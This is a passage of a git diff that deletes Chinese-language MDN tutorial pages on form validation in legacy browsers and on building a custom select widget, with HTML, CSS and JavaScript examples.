为了减少用户的挫折感,提供尽可能多的有用的信息是非常重要的,以便引导他们纠正他们的输入。 您应该提供前期建议,以便他们知道预期的输入是什么以及明确的错误消息。 如果您想深入了解表单校验用户界面要求,那么您应该阅读一些有用的文章: - -
-
- -

不使用约束校验API 的例子

- -

为了说明这一点,让我们重构一下前面的例子,以便它可以在旧版浏览器中使用:

- -
<form>
-  <p>
-    <label for="mail">
-        <span>Please enter an email address:</span>
-        <input type="text" class="mail" id="mail" name="mail">
-        <span class="error" aria-live="polite"></span>
-    </label>
-  <p>
-  <!-- Some legacy browsers need to have the `type` attribute
-       explicitly set to `submit` on the `button`element -->
-  <button type="submit">Submit</button>
-</form>
- -

正如你所看到的,HTML 几乎是一样的;我们只是关闭了 HTML 校验功能。 请注意,ARIA 是与 HTML5 无关的独立规范。

- -
CSS
- -

同样的,CSS也不需要太多的改动, 我们只需将 {{cssxref(":invalid")}} 伪类变成真实的类,并避免使用不适用于 Internet Explorer 6 的属性选择器。

- -
/* 仅为了使示例更好看 */
-body {
-  font: 1em sans-serif;
-  padding: 0;
-  margin : 0;
-}
-
-form {
-  max-width: 200px;
-}
-
-p * {
-  display: block;
-}
-
-input.mail {
-  -webkit-appearance: none;
-
-  width: 100%;
-  border: 1px solid #333;
-  margin: 0;
-
-  font-family: inherit;
-  font-size: 90%;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-/* 校验失败的元素样式 */
-input.invalid{
-  border-color: #900;
-  background-color: #FDD;
-}
-
-input:focus.invalid {
-  outline: none;
-}
-
-/* 错误消息的样式 */
-.error {
-  width  : 100%;
-  padding: 0;
-
-  font-size: 80%;
-  color: white;
-  background-color: #900;
-  border-radius: 0 0 5px 5px;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-.error.active {
-  padding: 0.3em;
-}
- -
JavaScript
- -

JavaScript 代码有很大的变化,需要做更多的工作。

- -
// 使用旧版浏览器选择 DOM 节点的方法较少
-var form  = document.getElementsByTagName('form')[0];
-var email = document.getElementById('mail');
-
-// 以下是在 DOM 中访问下一个兄弟元素的技巧
-// 这比较危险,很容易引起无限循环
-// 在现代浏览器中,应该使用 element.nextElementSibling
-var error = email;
-while ((error = error.nextSibling).nodeType != 1);
-
-// 按照 HTML5 规范
-var emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
-
-// 许多旧版浏览器不支持 addEventListener 方法
-// 这只是其中一种简单的处理方法
-function addEvent(element, event, callback) {
-  var previousEventCallBack = element["on"+event];
-  element["on"+event] = function (e) {
-    var output = callback(e);
-
-    // 返回 `false` 来停止回调链,并中断事件的执行
-    if (output === false) return false;
-
-    if (typeof previousEventCallBack === 'function') {
-      output = previousEventCallBack(e);
-      if(output === false) return false;
-    }
-  }
-};
-
-// 现在我们可以重构字段的约束校验了
-// 由于不使用 CSS 伪类, 我们必须明确地设置 valid 或 invalid 类到 email 字段上
-addEvent(window, "load", function () {
-  // 在这里验证字段是否为空(请记住,该字段不是必需的)
-  // 如果非空,检查它的内容格式是不是合格的 e-mail 地址
-  var test = email.value.length === 0 || emailRegExp.test(email.value);
-
-  email.className = test ? "valid" : "invalid";
-});
-
-// 处理用户输入事件
-addEvent(email, "input", function () {
-  var test = email.value.length === 0 || emailRegExp.test(email.value);
-  if (test) {
-    email.className = "valid";
-    error.innerHTML = "";
-    error.className = "error";
-  } else {
-    email.className = "invalid";
-  }
-});
-
-// 处理表单提交事件
-addEvent(form, "submit", function () {
-  var test = email.value.length === 0 || emailRegExp.test(email.value);
-
-  if (!test) {
-    email.className = "invalid";
-    error.innerHTML = "I expect an e-mail, darling!";
-    error.className = "error active";
-
-    // 某些旧版浏览器不支持 event.preventDefault() 方法
-    return false;
-  } else {
-    email.className = "valid";
-    error.innerHTML = "";
-    error.className = "error";
-  }
-});
- -

该结果如下:

- -

{{EmbedLiveSample("不使用内建_API_时的表单校验", "100%", 130)}}

- -

正如你所看到的,建立自己的校验系统并不难。 困难的部分是使其足够通用,以跨平台和任何形式使用它可以创建。 有许多库可用于执行表单校验; 你应该毫不犹豫地使用它们。 这里有一些例子:

- - - -

 远程校验

- -

在某些情况下,执行一些远程校验可能很有用。 当用户输入的数据与存储在应用程序服务器端的附加数据绑定时,这种校验是必要的。 一个应用实例就是注册表单,在这里你需要一个用户名。 为了避免重复,执行一个 AJAX 请求来检查用户名的可用性,要比让先用户发送数据,然后因为表单重复了返回错误信息要好得多。

- -

执行这样的校验需要采取一些预防措施:

- - - -

结论

- -

表单校验并不需要复杂的 JavaScript,但它需要对用户的仔细考虑。 一定要记住帮助您的用户更正他提供的数据。 为此,请务必:

- - - -

{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_1/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_1/index.html deleted file mode 100644 index 93cf5069c2..0000000000 --- a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_1/index.html +++ /dev/null @@ -1,418 +0,0 @@ ---- -title: Example 1 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 -tags: - - HTML - - 表单 -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 ---- -

这是第一个如果构建自定义表单小部件的代码解释事例。

- -

基本状态

- -

HTML

- -
<div class="select">
-  <span class="value">Cherry</span>
-  <ul class="optList hidden">
-    <li class="option">Cherry</li>
-    <li class="option">Lemon</li>
-    <li class="option">Banana</li>
-    <li class="option">Strawberry</li>
-    <li class="option">Apple</li>
-  </ul>
-</div>
- -

CSS

- -
/* --------------- */
-/* Required Styles */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Fancy Styles */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
-
- -

基本状态结果

- -
{{ EmbedLiveSample('Basic_state', 120, 130) }}
- -

活动状态

- -

HTML

- -
<div class="select active">
-  <span class="value">Cherry</span>
-  <ul class="optList hidden">
-    <li class="option">Cherry</li>
-    <li class="option">Lemon</li>
-    <li class="option">Banana</li>
-    <li class="option">Strawberry</li>
-    <li class="option">Apple</li>
-  </ul>
-</div>
- -

CSS

- -
/* --------------- */
-/* Required Styles */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Fancy Styles */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

活动状态结果

- -
{{ EmbedLiveSample('Active_state', 120, 130) }}
- -

展开状态

- -

HTML

- -
<div class="select active">
-  <span class="value">Cherry</span>
-  <ul class="optList">
-    <li class="option highlight">Cherry</li>
-    <li class="option">Lemon</li>
-    <li class="option">Banana</li>
-    <li class="option">Strawberry</li>
-    <li class="option">Apple</li>
-  </ul>
-</div>
- -

CSS

- -
/* --------------- */
-/* Required Styles */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Fancy Styles */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFF;
-}
- -

展开状态结果

- -
{{ EmbedLiveSample('Open_state', 120, 130) }}
diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_2/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_2/index.html deleted file mode 100644 index 3a9546631f..0000000000 --- a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_2/index.html +++ /dev/null @@ -1,212 +0,0 @@ ---- -title: Example 2 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 -tags: - - HTML - - 表单 -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 ---- -

这是解释 如何构建自定义表单小部件的第二个示例。

- -

使用JS

- -

HTML 内容

- -
<form class="no-widget">
-  <select name="myFruit">
-      <option>Cherry</option>
-      <option>Lemon</option>
-      <option>Banana</option>
-      <option>Strawberry</option>
-      <option>Apple</option>
-  </select>
-
-  <div class="select">
-    <span class="value">Cherry</span>
-    <ul class="optList hidden">
-      <li class="option">Cherry</li>
-      <li class="option">Lemon</li>
-      <li class="option">Banana</li>
-      <li class="option">Strawberry</li>
-      <li class="option">Apple</li>
-    </ul>
-  </div>
-<form>
-
- -

CSS 内容

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
-
-/* --------------- */
-/* Required Styles */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Fancy Styles */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

JavaScript 内容

- -
window.addEventListener("load", function () {
-  var form = document.querySelector('form');
-
-  form.classList.remove("no-widget");
-  form.classList.add("widget");
-});
- -

使用JS的结果

- -

{{ EmbedLiveSample('JS', 120, 130) }}

- -

不使用JS

- -

HTML 内容

- -
<form class="no-widget">
-  <select name="myFruit">
-      <option>Cherry</option>
-      <option>Lemon</option>
-      <option>Banana</option>
-      <option>Strawberry</option>
-      <option>Apple</option>
-  </select>
-
-  <div class="select">
-    <span class="value">Cherry</span>
-    <ul class="optList hidden">
-      <li class="option">Cherry</li>
-      <li class="option">Lemon</li>
-      <li class="option">Banana</li>
-      <li class="option">Strawberry</li>
-      <li class="option">Apple</li>
-    </ul>
-  </div>
-<form>
- -

CSS 内容

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
- -

不使用JS的结果

- -

{{ EmbedLiveSample('No_JS', 120, 130) }}

diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_3/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_3/index.html deleted file mode 100644 index a4a58880e4..0000000000 --- a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_3/index.html +++ /dev/null @@ -1,246 +0,0 @@ ---- -title: Example 3 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 -tags: - - HTML - - 表单 -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 ---- -

这是解释 如何构建自定义表单小部件 的第三个示例。

- -

Change states

- -

HTML 内容

- -
<form class="no-widget">
-  <select name="myFruit" tabindex="-1">
-      <option>Cherry</option>
-      <option>Lemon</option>
-      <option>Banana</option>
-      <option>Strawberry</option>
-      <option>Apple</option>
-  </select>
-
-  <div class="select" tabindex="0">
-    <span class="value">Cherry</span>
-    <ul class="optList hidden">
-      <li class="option">Cherry</li>
-      <li class="option">Lemon</li>
-      <li class="option">Banana</li>
-      <li class="option">Strawberry</li>
-      <li class="option">Apple</li>
-    </ul>
-  </div>
-</form>
- -

CSS 内容

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
-
-/* --------------- */
-/* Required Styles */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Fancy Styles */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

JavaScript 内容

- -
// ------- //
-// HELPERS //
-// ------- //
-
-NodeList.prototype.forEach = function (callback) {
-  Array.prototype.forEach.call(this, callback);
-}
-
-// -------------------- //
-// Function definitions //
-// -------------------- //
-
-function deactivateSelect(select) {
-  if (!select.classList.contains('active')) return;
-
-  var optList = select.querySelector('.optList');
-
-  optList.classList.add('hidden');
-  select.classList.remove('active');
-}
-
-function activeSelect(select, selectList) {
-  if (select.classList.contains('active')) return;
-
-  selectList.forEach(deactivateSelect);
-  select.classList.add('active');
-};
-
-function toggleOptList(select, show) {
-  var optList = select.querySelector('.optList');
-
-  optList.classList.toggle('hidden');
-}
-
-function highlightOption(select, option) {
-  var optionList = select.querySelectorAll('.option');
-
-  optionList.forEach(function (other) {
-    other.classList.remove('highlight');
-  });
-
-  option.classList.add('highlight');
-};
-
-// ------------- //
-// Event binding //
-// ------------- //
-
-window.addEventListener("load", function () {
-  var form = document.querySelector('form');
-
-  form.classList.remove("no-widget");
-  form.classList.add("widget");
-});
-
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option');
-
-    optionList.forEach(function (option) {
-      option.addEventListener('mouseover', function () {
-        highlightOption(select, option);
-      });
-    });
-
-    select.addEventListener('click', function (event) {
-      toggleOptList(select);
-    },  false);
-
-    select.addEventListener('focus', function (event) {
-      activeSelect(select, selectList);
-    });
-
-    select.addEventListener('blur', function (event) {
-      deactivateSelect(select);
-    });
-  });
-});
- -

结果

- -

{{ EmbedLiveSample('Change_states') }}

diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_4/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_4/index.html deleted file mode 100644 index 472102adb2..0000000000 --- a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_4/index.html +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: Example 4 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 -tags: - - HTML - - Web - - 表单 - - 高级 -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 ---- -

这是解释 如何构建自定义表单小部件 的第四个示例。

- -

改变状态

- -

HTML 内容

- -
<form class="no-widget">
-  <select name="myFruit">
-    <option>Cherry</option>
-    <option>Lemon</option>
-    <option>Banana</option>
-    <option>Strawberry</option>
-    <option>Apple</option>
-  </select>
-
-  <div class="select">
-    <span class="value">Cherry</span>
-    <ul class="optList hidden">
-      <li class="option">Cherry</li>
-      <li class="option">Lemon</li>
-      <li class="option">Banana</li>
-      <li class="option">Strawberry</li>
-      <li class="option">Apple</li>
-    </ul>
-  </div>
-</form>
- -

CSS 内容

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
-
-/* --------------- */
-/* Required Styles */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Fancy Styles */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

JavaScript 内容

- -
// ------- //
-// HELPERS //
-// ------- //
-
-NodeList.prototype.forEach = function (callback) {
-  Array.prototype.forEach.call(this, callback);
-}
-
-// -------------------- //
-// Function definitions //
-// -------------------- //
-
-function deactivateSelect(select) {
-  if (!select.classList.contains('active')) return;
-
-  var optList = select.querySelector('.optList');
-
-  optList.classList.add('hidden');
-  select.classList.remove('active');
-}
-
-function activeSelect(select, selectList) {
-  if (select.classList.contains('active')) return;
-
-  selectList.forEach(deactivateSelect);
-  select.classList.add('active');
-};
-
-function toggleOptList(select, show) {
-  var optList = select.querySelector('.optList');
-
-  optList.classList.toggle('hidden');
-}
-
-function highlightOption(select, option) {
-  var optionList = select.querySelectorAll('.option');
-
-  optionList.forEach(function (other) {
-    other.classList.remove('highlight');
-  });
-
-  option.classList.add('highlight');
-};
-
-function updateValue(select, index) {
-  var nativeWidget = select.previousElementSibling;
-  var value = select.querySelector('.value');
-  var optionList = select.querySelectorAll('.option');
-
-  nativeWidget.selectedIndex = index;
-  value.innerHTML = optionList[index].innerHTML;
-  highlightOption(select, optionList[index]);
-};
-
-function getIndex(select) {
-  var nativeWidget = select.previousElementSibling;
-
-  return nativeWidget.selectedIndex;
-};
-
-// ------------- //
-// Event binding //
-// ------------- //
-
-window.addEventListener("load", function () {
-  var form = document.querySelector('form');
-
-  form.classList.remove("no-widget");
-  form.classList.add("widget");
-});
-
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option');
-
-    optionList.forEach(function (option) {
-      option.addEventListener('mouseover', function () {
-        highlightOption(select, option);
-      });
-    });
-
-    select.addEventListener('click', function (event) {
-      toggleOptList(select);
-    });
-
-    select.addEventListener('focus', function (event) {
-      activeSelect(select, selectList);
-    });
-
-    select.addEventListener('blur', function (event) {
-      deactivateSelect(select);
-    });
-  });
-});
-
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option'),
-        selectedIndex = getIndex(select);
-
-    select.tabIndex = 0;
-    select.previousElementSibling.tabIndex = -1;
-
-    updateValue(select, selectedIndex);
-
-    optionList.forEach(function (option, index) {
-      option.addEventListener('click', function (event) {
-        updateValue(select, index);
-      });
-    });
-
-    select.addEventListener('keyup', function (event) {
-      var length = optionList.length,
-          index  = getIndex(select);
-
-      if (event.keyCode === 40 && index < length - 1) { index++; }
-      if (event.keyCode === 38 && index > 0) { index--; }
-
-      updateValue(select, index);
-    });
-  });
-});
- -

结果

- -

{{ EmbedLiveSample('Change_states') }}

diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/index.html deleted file mode 100644 index 24636e7858..0000000000 --- a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/index.html +++ /dev/null @@ -1,776 +0,0 @@ ---- -title: 如何构建表单小工具 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets -tags: - - HTML - - 例子 - - 表单 - - 高级 -translation_of: Learn/Forms/How_to_build_custom_form_controls ---- -
